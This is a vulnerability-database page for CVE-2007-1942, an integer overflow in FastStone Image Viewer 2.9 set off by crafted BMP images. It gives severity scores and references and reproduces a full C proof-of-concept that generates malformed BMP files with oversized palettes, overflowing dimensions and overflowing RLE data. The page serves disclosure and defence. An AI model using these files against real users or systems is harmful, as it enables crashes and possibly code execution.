CVE-2007-1942 : Detail

CVE-2007-1942

0.75%V3
Network
2007-04-10
23h00 +00:00
2018-10-16
12h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in FastStone Image Viewer 2.9 allows context-dependent attackers to cause a denial of service and possibly execute arbitrary code via a crafted BMP image, as demonstrated by wh3intof.bmp and wh4intof.bmp.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 9.3 AV:N/AC:M/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 29816

Publication date : 2007-04-03 22h00 +00:00
Author : Ivan Fratric
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/23312/info FastStone Image Viewer is prone to multiple denial-of-service vulnerabilities because the application fails to properly handle malformed BMP image files. Successfully exploiting these issues allows attackers to crash the affected application. Given the nature of these issues, attackers may also be able to run arbitrary code, but this has not been confirmed. FastStone Image Viewer 2.9 and 3.6 are affected. #include <stdio.h> #include <stdlib.h> #include <string.h> struct BITMAPFILEHEADER { unsigned int bfSize; unsigned int bfReserved; unsigned int bfOffBits; }; struct BITMAPINFOHEADER { unsigned int biSize; unsigned int biWidth; unsigned int biHeight; unsigned short biPlanes; unsigned short biBitCount; unsigned int biCompression; unsigned int biSizeImage; unsigned int biXPelsPerMeter; unsigned int biYPelsPerMeter; unsigned int biClrUsed; unsigned int biClrImportant; }; void writebmp(char *filename, unsigned long width, unsigned long height, unsigned int bpp, unsigned int compression, unsigned char *palette, long numpalettecolors, unsigned char *data, long numdatabytes) { BITMAPFILEHEADER fileheader; BITMAPINFOHEADER infoheader; memset(&fileheader,0,sizeof(BITMAPFILEHEADER)); memset(&infoheader,0,sizeof(BITMAPINFOHEADER)); unsigned char sig[2]; sig[0] = 'B'; sig[1] = 'M'; fileheader.bfSize = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4+numdatabytes; fileheader.bfOffBits = sizeof(sig)+sizeof(BITMAPFILEHEADER)+sizeof(BITMAPINFOHEADER)+numpalettecolors*4; infoheader.biSize = 40; infoheader.biWidth = width; infoheader.biHeight = height; infoheader.biPlanes = 1; infoheader.biBitCount = bpp; infoheader.biCompression = compression; infoheader.biClrUsed = numpalettecolors; FILE *fp = fopen(filename,"wb"); fwrite(&sig,sizeof(sig),1,fp); fwrite(&fileheader,sizeof(BITMAPFILEHEADER),1,fp); fwrite(&infoheader,sizeof(BITMAPINFOHEADER),1,fp); if(palette) fwrite(palette,numpalettecolors*4,1,fp); fwrite(data,numdatabytes,1,fp); fclose(fp); } int main() { unsigned char * buf; buf = (unsigned char *)malloc(4000000); memset(buf,0,4000000); unsigned char * buf2; buf2 = (unsigned char *)malloc(4000000); memset(buf2,0,4000000); //overflows specifying too large palette writebmp("ok8bit.bmp",16,16,8,0,buf,256,buf,16*16); writebmp("paletteof1.bmp",16,16,8,0,buf,65535,buf,16*16); writebmp("paletteof2.bmp",16,16,8,0,buf,1000000,buf,16*16); //integer overflows with image dimensions writebmp("ok24bit.bmp",16,16,24,0,NULL,0,buf,16*16*4); writebmp("wh4intof.bmp",32769,32768,24,0,NULL,0,buf,4000000); writebmp("wh3intof.bmp",37838,37838,24,0,NULL,0,buf,4000000); writebmp("w4intof.bmp",1073741825,1,24,0,NULL,0,buf,4000000); writebmp("w3intof.bmp",1431655767,1,24,0,NULL,0,buf,4000000); //overflows with RLE encoded BMPs buf2[0]=16; buf2[1]=0; writebmp("okRLE.bmp",16,1,8,1,buf,256,buf2,2); for(long i=0;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of1.bmp",16,1,8,1,buf,256,buf2,1000000); buf2[0]=15; buf2[1]=0; for(long i=1;i<500000;i++) { buf2[i*2]=255; buf2[i*2+1]=0; } writebmp("rle8of2.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); buf2[0]=0; buf2[1]=2; buf2[2]=255; buf2[3]=0; for(long i=4;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of3.bmp",16,1,8,1,buf,256,buf2,1000000); memset(buf2,0,4000000); for(long i=0;i<100000-1;) { buf2[i]=0; buf2[i+1]=254; i+=255; } writebmp("rle8of4.bmp",16,1,8,1,buf,256,buf2,1000000); }

Products Mentioned

Configuraton 0

Faststone>>Image_viewer >> Version 2.9

References

http://www.securityfocus.com/bid/23312
Tags : vdb-entry, x_refsource_BID
http://secunia.com/advisories/24784
Tags : third-party-advisory, x_refsource_SECUNIA
http://securityreason.com/securityalert/2558
Tags : third-party-advisory, x_refsource_SREASON
http://osvdb.org/34664
Tags : vdb-entry, x_refsource_OSVDB